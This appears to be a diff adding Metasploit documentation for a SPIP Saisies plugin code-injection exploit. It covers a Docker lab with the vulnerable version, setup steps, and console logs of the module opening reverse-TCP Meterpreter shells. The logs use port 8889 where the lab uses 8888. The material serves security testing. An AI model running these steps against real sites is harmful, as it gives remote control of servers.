|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits an unauthenticated PHP code injection in the SPIP Saisies |
| 4 | +plugin (CVE-2025-71243). The `_anciennes_valeurs` form parameter is interpolated |
| 5 | +unsanitized into a hidden field rendered with `interdire_scripts=false`, giving |
| 6 | +direct PHP code execution via SPIP's template eval. |
| 7 | + |
| 8 | +Exploitation requires a publicly accessible page containing a saisies-powered |
| 9 | +form, most commonly created with the Formidable plugin. Versions 5.4.0 through |
| 10 | +5.11.0 of the saisies plugin are affected. |
| 11 | + |
| 12 | +### Docker Setup |
| 13 | + |
| 14 | +```bash |
| 15 | +mkdir spip-lab && cd spip-lab |
| 16 | +``` |
| 17 | + |
| 18 | +Create `docker-compose.yml`: |
| 19 | + |
| 20 | +```yaml |
| 21 | +services: |
| 22 | + spip: |
| 23 | + image: ipeos/spip:latest |
| 24 | + container_name: spip-cve |
| 25 | + ports: |
| 26 | + - "8888:80" |
| 27 | + environment: |
| 28 | + SPIP_AUTO_INSTALL: 1 |
| 29 | + SPIP_DB_SERVER: mysql |
| 30 | + SPIP_DB_HOST: db |
| 31 | + SPIP_DB_LOGIN: spip |
| 32 | + SPIP_DB_PASS: spip |
| 33 | + SPIP_DB_NAME: spip |
| 34 | + SPIP_ADMIN_NAME: Admin |
| 35 | + SPIP_ADMIN_LOGIN: admin |
| 36 | + SPIP_ADMIN_EMAIL: admin@spip.local |
| 37 | + SPIP_ADMIN_PASS: adminadmin |
| 38 | + SPIP_SITE_ADDRESS: http://localhost:8888 |
| 39 | + volumes: |
| 40 | + - ./setup.sh:/docker-entrypoint-init.d/setup.sh |
| 41 | + depends_on: |
| 42 | + db: |
| 43 | + condition: service_healthy |
| 44 | + healthcheck: |
| 45 | + test: ["CMD", "curl", "-f", "http://localhost/"] |
| 46 | + interval: 10s |
| 47 | + timeout: 5s |
| 48 | + retries: 30 |
| 49 | + |
| 50 | + db: |
| 51 | + image: mariadb:10.11 |
| 52 | + container_name: spip-cve-db |
| 53 | + environment: |
| 54 | + MYSQL_DATABASE: spip |
| 55 | + MYSQL_USER: spip |
| 56 | + MYSQL_PASSWORD: spip |
| 57 | + MYSQL_ROOT_PASSWORD: root |
| 58 | + healthcheck: |
| 59 | + test: ["CMD", "healthcheck.sh", "--connect", "--innodb_initialized"] |
| 60 | + interval: 5s |
| 61 | + timeout: 3s |
| 62 | + retries: 10 |
| 63 | +``` |
| 64 | +
|
| 65 | +Create `setup.sh`: |
| 66 | + |
| 67 | +```bash |
| 68 | +#!/bin/bash |
| 69 | +set -e |
| 70 | +
|
| 71 | +PLUGINS_DIR="/var/www/html/plugins" |
| 72 | +SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-d7b40-saisies-5.11.0.zip" |
| 73 | +
|
| 74 | +echo "[*] Waiting for SPIP to be fully installed..." |
| 75 | +until [ -f /var/www/html/config/connect.php ]; do |
| 76 | + sleep 2 |
| 77 | +done |
| 78 | +sleep 5 |
| 79 | +
|
| 80 | +echo "[*] Installing vulnerable saisies plugin v5.11.0..." |
| 81 | +apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1 |
| 82 | +mkdir -p "$PLUGINS_DIR" |
| 83 | +curl -sL "$SAISIES_URL" -o /tmp/saisies.zip |
| 84 | +unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/" |
| 85 | +chown -R www-data:www-data "$PLUGINS_DIR/" |
| 86 | +
|
| 87 | +echo "[*] Activating saisies plugin via database..." |
| 88 | +until mysql -h db -u spip -pspip spip -e "SELECT 1 FROM spip_meta WHERE nom='plugin' LIMIT 1" >/dev/null 2>&1; do |
| 89 | + sleep 2 |
| 90 | +done |
| 91 | +
|
| 92 | +php -r ' |
| 93 | +require "/var/www/html/vendor/autoload.php"; |
| 94 | +$_SERVER = array_merge($_SERVER, [ |
| 95 | + "REQUEST_URI" => "/setup.php", "SERVER_NAME" => "localhost", |
| 96 | + "SERVER_PORT" => "80", "HTTP_HOST" => "localhost", |
| 97 | + "REQUEST_METHOD" => "GET", "SCRIPT_NAME" => "/setup.php", |
| 98 | + "SCRIPT_FILENAME" => "/var/www/html/setup.php", |
| 99 | +]); |
| 100 | +chdir("/var/www/html"); |
| 101 | +require "ecrire/inc_version.php"; |
| 102 | +include_spip("base/abstract_sql"); |
| 103 | +
|
| 104 | +$meta = sql_getfetsel("valeur", "spip_meta", "nom=" . sql_quote("plugin")); |
| 105 | +$plugins = unserialize($meta); |
| 106 | +$plugins["SAISIES"] = [ |
| 107 | + "dir" => "saisies", "dir_type" => "_DIR_PLUGINS", |
| 108 | + "nom" => "Saisies", "etat" => "stable", "version" => "5.11.0" |
| 109 | +]; |
| 110 | +sql_updateq("spip_meta", ["valeur" => serialize($plugins), "impt" => "oui"], "nom=" . sql_quote("plugin")); |
| 111 | +echo "Saisies activated\n"; |
| 112 | +array_map("unlink", glob(_DIR_TMP . "*.php") ?: []); |
| 113 | +' |
| 114 | +
|
| 115 | +echo "[*] Creating contact form with _saisies..." |
| 116 | +cat > /var/www/html/formulaires/contact.php << 'FORMPHP' |
| 117 | +<?php |
| 118 | +if (!defined("_ECRIRE_INC_VERSION")) return; |
| 119 | +
|
| 120 | +function formulaires_contact_saisies_dist() { |
| 121 | + return [ |
| 122 | + ["saisie" => "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]], |
| 123 | + ["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]], |
| 124 | + ["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]], |
| 125 | + ]; |
| 126 | +} |
| 127 | +function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; } |
| 128 | +function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; } |
| 129 | +function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; } |
| 130 | +FORMPHP |
| 131 | +
|
| 132 | +mkdir -p /var/www/html/squelettes |
| 133 | +cat > /var/www/html/squelettes/contact.html << 'SQHTML' |
| 134 | +<!DOCTYPE html> |
| 135 | +<html><head><title>Contact</title>#INSERT_HEAD</head> |
| 136 | +<body><h1>Contact</h1>#FORMULAIRE_CONTACT</body> |
| 137 | +</html> |
| 138 | +SQHTML |
| 139 | +
|
| 140 | +chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/ |
| 141 | +rm -rf /var/www/html/tmp/cache/ |
| 142 | +
|
| 143 | +echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact" |
| 144 | +``` |
| 145 | + |
| 146 | +```bash |
| 147 | +chmod +x setup.sh |
| 148 | +docker compose up -d |
| 149 | +``` |
| 150 | + |
| 151 | +Wait a couple of minutes for the setup script to install saisies and create the |
| 152 | +contact form. The form will be at `http://localhost:8888/spip.php?page=contact`. |
| 153 | + |
| 154 | +## Verification Steps |
| 155 | + |
| 156 | +1. Start `msfconsole` |
| 157 | +2. `use exploit/multi/http/spip_saisies_rce` |
| 158 | +3. `set RHOSTS 127.0.0.1` |
| 159 | +4. `set RPORT 8888` |
| 160 | +5. `set LHOST <your-ip>` |
| 161 | +6. `check` - verify it returns `Appears` |
| 162 | +7. `run` - verify a Meterpreter session opens |
| 163 | + |
| 164 | +## Options |
| 165 | + |
| 166 | +### FORM_PAGE |
| 167 | + |
| 168 | +Page containing a saisies-powered form. Set to a specific page name (e.g. |
| 169 | +`contact`) if you already know which page has the form, or leave as `crawl` |
| 170 | +(default) to automatically discover one by fetching the SPIP sitemap and |
| 171 | +following internal links. |
| 172 | + |
| 173 | +### CRAWL_MAX_PAGES |
| 174 | + |
| 175 | +Maximum number of pages to visit when crawling. Default is 100. |
| 176 | + |
| 177 | +## Scenarios |
| 178 | + |
| 179 | +### SPIP with Saisies 5.11.0 - PHP Meterpreter (direct page) |
| 180 | + |
| 181 | +``` |
| 182 | +msf6 > use exploit/multi/http/spip_saisies_rce |
| 183 | +msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1 |
| 184 | +RHOSTS => 127.0.0.1 |
| 185 | +msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889 |
| 186 | +RPORT => 8889 |
| 187 | +msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact |
| 188 | +FORM_PAGE => contact |
| 189 | +msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1 |
| 190 | +LHOST => 172.17.0.1 |
| 191 | +msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp |
| 192 | +PAYLOAD => php/meterpreter/reverse_tcp |
| 193 | +msf6 exploit(multi/http/spip_saisies_rce) > run |
| 194 | + |
| 195 | +[*] Started reverse TCP handler on 172.17.0.1:4444 |
| 196 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 197 | +[*] Saisies plugin version: 5.11.0 |
| 198 | +[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0). |
| 199 | +[+] Form found at /spip.php?page=contact |
| 200 | +[*] Sending payload... |
| 201 | +[*] Sending stage (42137 bytes) to 172.18.0.3 |
| 202 | +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100 |
| 203 | + |
| 204 | +meterpreter > |
| 205 | +``` |
| 206 | +
|
| 207 | +### SPIP with Saisies 5.11.0 - PHP Meterpreter (crawl mode) |
| 208 | +
|
| 209 | +``` |
| 210 | +msf6 > use exploit/multi/http/spip_saisies_rce |
| 211 | +msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1 |
| 212 | +RHOSTS => 127.0.0.1 |
| 213 | +msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889 |
| 214 | +RPORT => 8889 |
| 215 | +msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl |
| 216 | +FORM_PAGE => crawl |
| 217 | +msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1 |
| 218 | +LHOST => 172.17.0.1 |
| 219 | +msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp |
| 220 | +PAYLOAD => php/meterpreter/reverse_tcp |
| 221 | +msf6 exploit(multi/http/spip_saisies_rce) > run |
| 222 | + |
| 223 | +[*] Started reverse TCP handler on 172.17.0.1:4444 |
| 224 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 225 | +[*] Saisies plugin version: 5.11.0 |
| 226 | +[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0). |
| 227 | +[*] Crawling for saisies forms (max 100 pages)... |
| 228 | +[+] Form found at /spip.php?page=contact (checked 3 pages) |
| 229 | +[*] Sending payload... |
| 230 | +[*] Sending stage (42137 bytes) to 172.18.0.3 |
| 231 | +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100 |
| 232 | + |
| 233 | +meterpreter > |
| 234 | +``` |
0 commit comments